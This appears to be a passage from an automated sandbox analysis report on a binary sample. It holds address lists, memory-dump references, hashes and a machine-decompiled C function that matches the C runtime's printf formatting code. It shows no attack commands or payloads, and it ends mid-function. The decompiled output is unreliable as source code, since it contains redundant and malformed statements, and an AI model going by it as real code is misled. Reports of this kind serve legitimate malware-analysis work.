0x00435322
0x00435322
0x00435326
0x00000000
0x00000000
0x00000000
0x00435326
0x00435322
0x00000000
0x0043502b
0x0043502b
0x0043509a
0x0043509a
0x0043509d
0x0043509d
0x004350a2
0x004350c4
0x004350c4
0x004350ca
0x004350ec
0x004350ec
0x004350ef
0x00435136
0x00435136
0x00435139
0x00435156
0x0043515a
0x00435162
0x00435162
0x00435164
0x0043516a
0x0043513b
0x0043513b
0x0043513f
0x00435147
0x00435148
0x0043514e
0x0043514e
0x004350f1
0x004350f4
0x004350f4
0x004350f7
0x00435115
0x00435121
0x00435124
0x00435125
0x0043512b
0x004350f9
0x004350f9
0x004350fd
0x00435105
0x00435106
0x00435107
0x0043510d
0x0043510d
0x00435131
0x004350cc
0x004350cc
0x004350d8
0x004350de
0x004350de
0x004350a4
0x004350a4
0x004350b0
0x004350b6
0x004350b6
0x00435173
0x00435173
0x00435176
0x00000000
0x00000000
0x00000000
0x00435176
0x00000000
0x00000000
0x00000000
0x00435322
0x00435322
0x00435322
0x00435326
0x00000000
0x00000000
0x00000000
0x00435326
0x00000000
0x00000000
0x004348e1
0x004348e4
0x004348e7
0x00000000
0x00000000
0x004348ec
0x004348ef
0x004348f4
0x00000000
0x00000000
0x004348d6
0x004348d6
0x004348d9
0x004348dc
0x00000000
0x00000000
0x004348cb
0x004348ce
0x004348d1
0x00000000
0x00000000
0x004348f9
0x004348f9
0x004348fc
0x004348fc
0x004348ff
0x00000000
0x00000000
0x00434902
0x00000000
0x00000000
0x0043469e
0x004346a0
0x004346ae
0x004346a2
0x004346a2
0x004346a2
0x004346b8
0x004346be
0x004346cb
0x004346cd
0x004346d2
0x004346d4
0x004346d9
0x004346de
0x004346e0
0x004346e5
0x004346eb
0x004346ed
0x004346ed
0x004346eb
0x004346ee
0x004346f5
0x00000000
0x004346f7
0x004346fc
0x00434718
0x00434720
0x0043472d
0x00434732
0x004355f1
0x004355fe
0x004355fe
0x004346f5
0x00434698
0x0043552d
0x0043552d
0x00435534
0x0043554b
0x0043554b
0x00435555
0x00435555
0x0043555b
0x00435561
0x00435568
0x0043556a
0x0043556f
0x00435571
0x00435576
0x0043557b
0x0043557d
0x00435582
0x00435585
0x00435588
0x0043558a
0x0043558a
0x00435588
0x0043558b
0x00435592
0x004355dd
0x004355e6
0x004355eb
0x00435594
0x00435599
0x004355b5
0x004355bd
0x004355ca
0x004355cf
0x004355cf
0x00000000
0x00435592
0x00435536
0x00435536
0x0043553d
0x00000000
0x00000000
0x0043553f
0x0043553f
0x00000000
0x0043553f
0x00435322
0x004352f9
0x004352f9
0x004352fd
0x0043530a
0x0043530d
0x00435310
0x00435313
0x00435316
0x00435319
0x0043531c
0x0043531c
0x0043531f
0x00000000
0x0043531f
0x004352ff
0x004352ff
0x00435302
0x00435305
0x00435308
0x00000000
0x00000000
0x00000000
0x00435308
0x00435261
0x00435261
0x00435264
0x00435267
0x0043526e
0x00435275
0x0043527d
0x00435283
0x00435286
0x00435289
0x00435290
0x0043529c
0x004352a2
0x004352a8
0x004352af
0x004352b1
0x004352b7
0x004352b7
0x004352bd
0x004352bd
0x004352c3
0x004352c6
0x004352cc
0x004352d1
0x004352d4
0x00435243
0x00435243
0x00435249
0x0043524c
0x0043524f
0x00435251
0x00000000
0x00000000
0x00000000
0x00435251
0x00435243
0x00435183
0x00435183
0x0043518a
0x00000000
0x00000000
0x00000000
0x004351b8
0x004351b8
0x004351be
0x004351c4
0x004351ca
0x00000000
0x004351ca
0x0043509a
0x00435051

APIs

_get_int64_arg.LIBCMTD ref: 004350A8
__aullrem.LIBCMT ref: 00435275
__aulldiv.LIBCMT ref: 00435297

Strings

9, xrefs: 004352A8
', xrefs: 00435047
0, xrefs: 00435063

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 403a4a1944af8a17fff45db30b91d9a6f14a6034f75f525fc3273268f6792f56
Instruction ID: 1c1b09ce151620cba0188318828fa918e038278e4aecf89c6c71dbc3fc3e20ae
Opcode Fuzzy Hash: 403a4a1944af8a17fff45db30b91d9a6f14a6034f75f525fc3273268f6792f56
Instruction Fuzzy Hash: 7341E571D06629DFEF24CF98C889BAEB7B5BB48304F2495DAD408A7240C7389E85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00427DD8, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00427DD8() {
				signed int _t478;
				signed int _t524;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t524 - 0x260)) = 0x27;
					while(1) {
						L139:
						 *(__ebp - 8) = 0x10;
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
						__eflags =  *(__ebp - 0x10) & 0x00000080;
						if(( *(__ebp - 0x10) & 0x00000080) != 0) {
							 *(__ebp - 0x14) = 0x30;
							 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
							__eflags =  *(__ebp - 0x260) + 0x51;
							 *((char*)(__ebp - 0x13)) = __al;
							 *(__ebp - 0x1c) = 2;
						}
						while(1) {
							L144:
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
							__eflags =  *(__ebp - 0x10) & 0x00008000;
							if(( *(__ebp - 0x10) & 0x00008000) == 0) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
								__eflags =  *(__ebp - 0x10) & 0x00001000;
								if(( *(__ebp - 0x10) & 0x00001000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
									__eflags =  *(__ebp - 0x10) & 0x00000020;
									if(( *(__ebp - 0x10) & 0x00000020) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											__eax = E004283F0(__ebp + 0x14);
											__edx = 0;
											__eflags = 0;
											 *(__ebp - 0x2b0) = __eax;
											 *(__ebp - 0x2ac) = 0;
										} else {
											__eax = __ebp + 0x14;
											__eax = E004283F0(__ebp + 0x14);
											asm("cdq");
											 *(__ebp - 0x2b0) = __eax;
											 *(__ebp - 0x2ac) = __edx;
										}
									} else {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											E004283F0(__ebp + 0x14) = __ax & 0x0000ffff;
											asm("cdq");
											 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
											 *(__ebp - 0x2ac) = __edx;
										} else {
											__eax = __ebp + 0x14;
											__eax = E004283F0(__ebp + 0x14);
											__ax = __eax;
											asm("cdq");
											 *(__ebp - 0x2b0) = __eax;
											 *(__ebp - 0x2ac) = __edx;
										}
									}
								} else {
									__eax = __ebp + 0x14;
									 *(__ebp - 0x2b0) = E00428410(__ebp + 0x14);
									 *(__ebp - 0x2ac) = __edx;
								}
							} else {
								__ecx = __ebp + 0x14;
								 *(__ebp - 0x2b0) = E00428410(__ebp + 0x14);
								 *(__ebp - 0x2ac) = __edx;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
							__eflags =  *(__ebp - 0x10) & 0x00000040;
							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
								goto L161;
							}
							L157:
							__eflags =  *(__ebp - 0x2ac);
							if(__eflags > 0) {
								goto L161;
							}
							L158:
							if(__eflags < 0) {
								L160:
								 *(__ebp - 0x2b0) =  ~( *(__ebp - 0x2b0));
								__edx =  *(__ebp - 0x2ac);
								asm("adc edx, 0x0");
								__edx =  ~( *(__ebp - 0x2ac));
								 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b0));
								 *(__ebp - 0x2b4) =  ~( *(__ebp - 0x2ac));
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								L162:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										__edx =  *(__ebp - 0x2b8);
										__eax =  *(__ebp - 0x2b4);
										__eax =  *(__ebp - 0x2b4) & 0x00000000;
										__eflags = __eax;
										 *(__ebp - 0x2b4) = __eax;
									}
								}
								__eflags =  *(__ebp - 0x30);
								if( *(__ebp - 0x30) >= 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									__eflags =  *(__ebp - 0x30) - 0x200;
									if( *(__ebp - 0x30) > 0x200) {
										 *(__ebp - 0x30) = 0x200;
									}
								} else {
									 *(__ebp - 0x30) = 1;
								}
								 *(__ebp - 0x2b8) =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
								__eflags =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
								if(( *(__ebp - 0x2b8) |  *(__ebp - 0x2b4)) == 0) {
									 *(__ebp - 0x1c) = 0;
								}
								__eax = __ebp - 0x49;
								 *(__ebp - 4) = __ebp - 0x49;
								while(1) {
									L172:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L174;
									}
									L173:
									 *(__ebp - 0x2b8) =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
									__eflags =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
									if(( *(__ebp - 0x2b8) |  *(__ebp - 0x2b4)) == 0) {
										L177:
										__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
										 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
										__ecx =  *(__ebp - 4);
										__ecx =  *(__ebp - 4) + 1;
										 *(__ebp - 4) = __ecx;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
										__eflags =  *(__ebp - 0x10) & 0x00000200;
										if(( *(__ebp - 0x10) & 0x00000200) == 0) {
											while(1) {
												L181:
												__eflags =  *(__ebp - 0x28);
												if( *(__ebp - 0x28) != 0) {
													goto L207;
												}
												L182:
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
												__eflags =  *(__ebp - 0x10) & 0x00000040;
												if(( *(__ebp - 0x10) & 0x00000040) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
													__eflags =  *(__ebp - 0x10) & 0x00000100;
													if(( *(__ebp - 0x10) & 0x00000100) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
														__eflags =  *(__ebp - 0x10) & 0x00000001;
														if(( *(__ebp - 0x10) & 0x00000001) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
															__eflags =  *(__ebp - 0x10) & 0x00000002;
															if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																 *(__ebp - 0x14) = 0x20;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2b;
															 *(__ebp - 0x1c) = 1;
														}
													} else {
														 *(__ebp - 0x14) = 0x2d;
														 *(__ebp - 0x1c) = 1;
													}
												}
												 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x2bc) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
												__eflags =  *(__ebp - 0x10) & 0x0000000c;
												if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x2bc);
													__eax = E004357B0(0x20,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
												}
												__edx = __ebp - 0x24c;
												__eax =  *(__ebp + 8);
												__ecx =  *(__ebp - 0x1c);
												__edx = __ebp - 0x14;
												E004357F0( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
												__eax =  *(__ebp - 0x10) & 0x00000008;
												__eflags =  *(__ebp - 0x10) & 0x00000008;
												if(( *(__ebp - 0x10) & 0x00000008) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
													__eflags =  *(__ebp - 0x10) & 0x00000004;
													if(( *(__ebp - 0x10) & 0x00000004) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2bc);
														__eax = E004357B0(0x30,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
													}
												}
												__eflags =  *(__ebp - 0xc);
												if( *(__ebp - 0xc) == 0) {
													L203:
													__ecx = __ebp - 0x24c;
													__edx =  *(__ebp + 8);
													__eax =  *(__ebp - 0x24);
													__ecx =  *(__ebp - 4);
													__eax = E004357F0(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
													goto L204;
												} else {
													L195:
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) <= 0) {
														goto L203;
													}
													L196:
													 *(__ebp - 0x2d4) = 0;
													__edx =  *(__ebp - 4);
													 *(__ebp - 0x2c0) =  *(__ebp - 4);
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x2c4) =  *(__ebp - 0x24);
													while(1) {
														L197:
														__ecx =  *(__ebp - 0x2c4);
														 *(__ebp - 0x2c4) =  *(__ebp - 0x2c4) - 1;
														 *(__ebp - 0x2c4) =  *(__ebp - 0x2c4) - 1;
														__eflags = __ecx;
														if(__ecx == 0) {
															break;
														}
														L198:
														__eax =  *(__ebp - 0x2c0);
														 *(__ebp - 0x316) =  *( *(__ebp - 0x2c0));
														__edx =  *(__ebp - 0x316) & 0x0000ffff;
														__eax = __ebp - 0x2d0;
														__ecx = __ebp - 0x2c8;
														 *(__ebp - 0x2d4) = E004342C0(__ebp - 0x2c8, __ebp - 0x2d0, 6,  *(__ebp - 0x316) & 0x0000ffff);
														 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) + 2;
														 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) + 2;
														__eflags =  *(__ebp - 0x2d4);
														if( *(__ebp - 0x2d4) != 0) {
															L200:
															 *(__ebp - 0x24c) = 0xffffffff;
															break;
														}
														L199:
														__eflags =  *(__ebp - 0x2c8);
														if( *(__ebp - 0x2c8) != 0) {
															L201:
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2c8);
															__ebp - 0x2d0 = E004357F0( *(__ebp + 8), __ebp - 0x2d0,  *(__ebp - 0x2c8),  *(__ebp + 8), __ebp - 0x24c);
															continue;
														}
														goto L200;
													}
													L202:
													L204:
													__eflags =  *(__ebp - 0x24c);
													if( *(__ebp - 0x24c) >= 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) != 0) {
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2bc);
															__eax = E004357B0(0x20,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
												}
												L207:
												__eflags =  *(__ebp - 0x20);
												if( *(__ebp - 0x20) != 0) {
													 *(__ebp - 0x20) = L0041C5D0( *(__ebp - 0x20), 2);
													 *(__ebp - 0x20) = 0;
												}
												while(1) {
													L209:
													 *(_t524 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
													 *((intOrPtr*)(_t524 + 0xc)) =  *((intOrPtr*)(_t524 + 0xc)) + 1;
													if( *(_t524 - 0x251) == 0 ||  *(_t524 - 0x24c) < 0) {
														break;
													} else {
														if( *(_t524 - 0x251) < 0x20 ||  *(_t524 - 0x251) > 0x78) {
															 *(_t524 - 0x2fc) = 0;
														} else {
															 *(_t524 - 0x2fc) =  *( *(_t524 - 0x251) + 0x404460) & 0x0000000f;
														}
													}
													L7:
													 *(_t524 - 0x250) =  *(_t524 - 0x2fc);
													_t19 =  *(_t524 - 0x250) * 8; // 0x6000006
													 *(_t524 - 0x25c) =  *( *(_t524 - 0x25c) + _t19 + 0x404480) >> 4;
													 *(_t524 - 0x300) =  *(_t524 - 0x25c);
													if( *(_t524 - 0x300) > 7) {
														continue;
													}
													L8:
													switch( *((intOrPtr*)( *(_t524 - 0x300) * 4 +  &M004282E8))) {
														case 0:
															L9:
															 *(_t524 - 0xc) = 0;
															_t483 = E004312B0( *(_t524 - 0x251) & 0x000000ff, E0041AEE0(_t524 - 0x40));
															_t528 = _t526 + 8;
															if(_t483 == 0) {
																L15:
																E00435710( *(_t524 - 0x251) & 0x000000ff,  *(_t524 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t524 + 8)), _t524 - 0x24c);
																_t526 = _t528 + 0xc;
																goto L209;
															} else {
																E00435710( *((intOrPtr*)(_t524 + 8)),  *(_t524 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t524 + 8)), _t524 - 0x24c);
																_t528 = _t528 + 0xc;
																_t509 =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
																 *(_t524 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
																_t513 =  *((intOrPtr*)(_t524 + 0xc)) + 1;
																 *((intOrPtr*)(_t524 + 0xc)) = _t513;
																asm("sbb eax, eax");
																 *(_t524 - 0x278) =  ~( ~( *(_t524 - 0x251)));
																if(_t513 == 0) {
																	_push(L"(ch != _T(\'\\0\'))");
																	_push(0);
																	_push(0x486);
																	_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																	_push(2);
																	_t495 = L0041E410();
																	_t528 = _t528 + 0x14;
																	if(_t495 == 1) {
																		asm("int3");
																	}
																}
																L13:
																if( *(_t524 - 0x278) != 0) {
																	goto L15;
																} else {
																	 *((intOrPtr*)(L00422F00(_t509))) = 0x16;
																	E00422C90(_t497, _t509, _t522, _t523, L"(ch != _T(\'\\0\'))", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																	 *(_t524 - 0x2e4) = 0xffffffff;
																	E0041AEB0(_t524 - 0x40);
																	_t478 =  *(_t524 - 0x2e4);
																	goto L211;
																}
															}
														case 1:
															L16:
															 *(__ebp - 0x2c) = 0;
															__edx =  *(__ebp - 0x2c);
															 *(__ebp - 0x28) =  *(__ebp - 0x2c);
															__eax =  *(__ebp - 0x28);
															 *(__ebp - 0x18) =  *(__ebp - 0x28);
															__ecx =  *(__ebp - 0x18);
															 *(__ebp - 0x1c) = __ecx;
															 *(__ebp - 0x10) = 0;
															 *(__ebp - 0x30) = 0xffffffff;
															 *(__ebp - 0xc) = 0;
															goto L209;
														case 2:
															L17:
															__edx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x304) =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
															 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
															__eflags =  *(__ebp - 0x304) - 0x10;
															if( *(__ebp - 0x304) > 0x10) {
																goto L24;
															}
															L18:
															__ecx =  *(__ebp - 0x304);
															_t63 = __ecx + 0x428320; // 0x498d04
															__edx =  *_t63 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t63 & 0x000000ff) * 4 +  &M00428308))) {
																case 0:
																	goto L21;
																case 1:
																	goto L22;
																case 2:
																	goto L20;
																case 3:
																	goto L19;
																case 4:
																	goto L23;
																case 5:
																	goto L24;
															}
														case 3:
															L25:
															__edx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
															if( *((char*)(__ebp - 0x251)) != 0x2a) {
																__eax =  *(__ebp - 0x18);
																__eax =  *(__ebp - 0x18) * 0xa;
																__eflags = __eax;
																__ecx =  *((char*)(__ebp - 0x251));
																_t87 = __ecx - 0x30; // -48
																__edx = __eax + _t87;
																 *(__ebp - 0x18) = __eax + _t87;
															} else {
																__eax = __ebp + 0x14;
																 *(__ebp - 0x18) = E004283F0(__ebp + 0x14);
																__eflags =  *(__ebp - 0x18);
																if( *(__ebp - 0x18) < 0) {
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000004;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																	 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																	 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																}
															}
															L30:
															goto L209;
														case 4:
															L31:
															 *(__ebp - 0x30) = 0;
															goto L209;
														case 5:
															L32:
															__eax =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
															if( *((char*)(__ebp - 0x251)) != 0x2a) {
																__edx =  *(__ebp - 0x30);
																__edx =  *(__ebp - 0x30) * 0xa;
																__eflags = __edx;
																_t98 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																__ecx = __edx + _t98;
																 *(__ebp - 0x30) = __ecx;
															} else {
																__ecx = __ebp + 0x14;
																 *(__ebp - 0x30) = E004283F0(__ebp + 0x14);
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) < 0) {
																	 *(__ebp - 0x30) = 0xffffffff;
																}
															}
															goto L209;
														case 6:
															L38:
															__edx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x308) =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
															 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
															__eflags =  *(__ebp - 0x308) - 0x2e;
															if( *(__ebp - 0x308) > 0x2e) {
																L61:
																goto L209;
															}
															L39:
															__ecx =  *(__ebp - 0x308);
															_t106 = __ecx + 0x428348; // 0x7bff9003
															__edx =  *_t106 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t106 & 0x000000ff) * 4 +  &M00428334))) {
																case 0:
																	L44:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc));
																	__eflags =  *( *(__ebp + 0xc)) - 0x36;
																	if( *( *(__ebp + 0xc)) != 0x36) {
																		L47:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x33;
																		if( *( *(__ebp + 0xc)) != 0x33) {
																			L50:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x64;
																			if( *( *(__ebp + 0xc)) == 0x64) {
																				L56:
																				L58:
																				goto L61;
																			}
																			L51:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx;
																			__eflags =  *__ecx - 0x69;
																			if( *__ecx == 0x69) {
																				goto L56;
																			}
																			L52:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x6f;
																			if(__ecx == 0x6f) {
																				goto L56;
																			}
																			L53:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x75;
																			if( *( *(__ebp + 0xc)) == 0x75) {
																				goto L56;
																			}
																			L54:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx;
																			__eflags =  *__ecx - 0x78;
																			if( *__ecx == 0x78) {
																				goto L56;
																			}
																			L55:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x58;
																			if(__ecx != 0x58) {
																				 *(__ebp - 0x25c) = 0;
																				goto L9;
																			}
																			goto L56;
																		}
																		L48:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *((char*)(__ecx + 1));
																		__eflags =  *((char*)(__ecx + 1)) - 0x32;
																		if( *((char*)(__ecx + 1)) != 0x32) {
																			goto L50;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																			 *(__ebp - 0x10) = __ecx;
																			goto L58;
																		}
																	}
																	L45:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *((char*)(__ecx + 1));
																	__eflags =  *((char*)(__ecx + 1)) - 0x34;
																	if( *((char*)(__ecx + 1)) != 0x34) {
																		goto L47;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00008000;
																		 *(__ebp - 0x10) = __ecx;
																		goto L58;
																	}
																case 1:
																	L59:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																	goto L61;
																case 2:
																	L40:
																	__eax =  *(__ebp + 0xc);
																	__ecx =  *( *(__ebp + 0xc));
																	__eflags = __ecx - 0x6c;
																	if(__ecx != 0x6c) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000010;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	}
																	goto L61;
																case 3:
																	L60:
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	goto L61;
																case 4:
																	goto L61;
															}
														case 7:
															L62:
															__ecx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x30c) = __ecx;
															 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
															 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
															__eflags =  *(__ebp - 0x30c) - 0x37;
															if( *(__ebp - 0x30c) > 0x37) {
																while(1) {
																	L181:
																	__eflags =  *(__ebp - 0x28);
																	if( *(__ebp - 0x28) != 0) {
																		goto L207;
																	}
																	goto L182;
																}
															}
															L63:
															_t147 =  *(__ebp - 0x30c) + 0x4283b4; // 0xcccccc0d
															__ecx =  *_t147 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M00428378))) {
																case 0:
																	L114:
																	 *(__ebp - 0x2c) = 1;
																	__ecx =  *((char*)(__ebp - 0x251));
																	__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																	__eflags = __ecx;
																	 *((char*)(__ebp - 0x251)) = __cl;
																	goto L115;
																case 1:
																	L64:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																	}
																	goto L66;
																case 2:
																	L79:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	}
																	goto L81;
																case 3:
																	L138:
																	 *(__ebp - 0x260) = 7;
																	L139:
																	 *(__ebp - 8) = 0x10;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																	__eflags =  *(__ebp - 0x10) & 0x00000080;
																	if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																		 *(__ebp - 0x14) = 0x30;
																		 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																		__eflags =  *(__ebp - 0x260) + 0x51;
																		 *((char*)(__ebp - 0x13)) = __al;
																		 *(__ebp - 0x1c) = 2;
																	}
																	goto L144;
																case 4:
																	L72:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x284) = E004283F0(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x284);
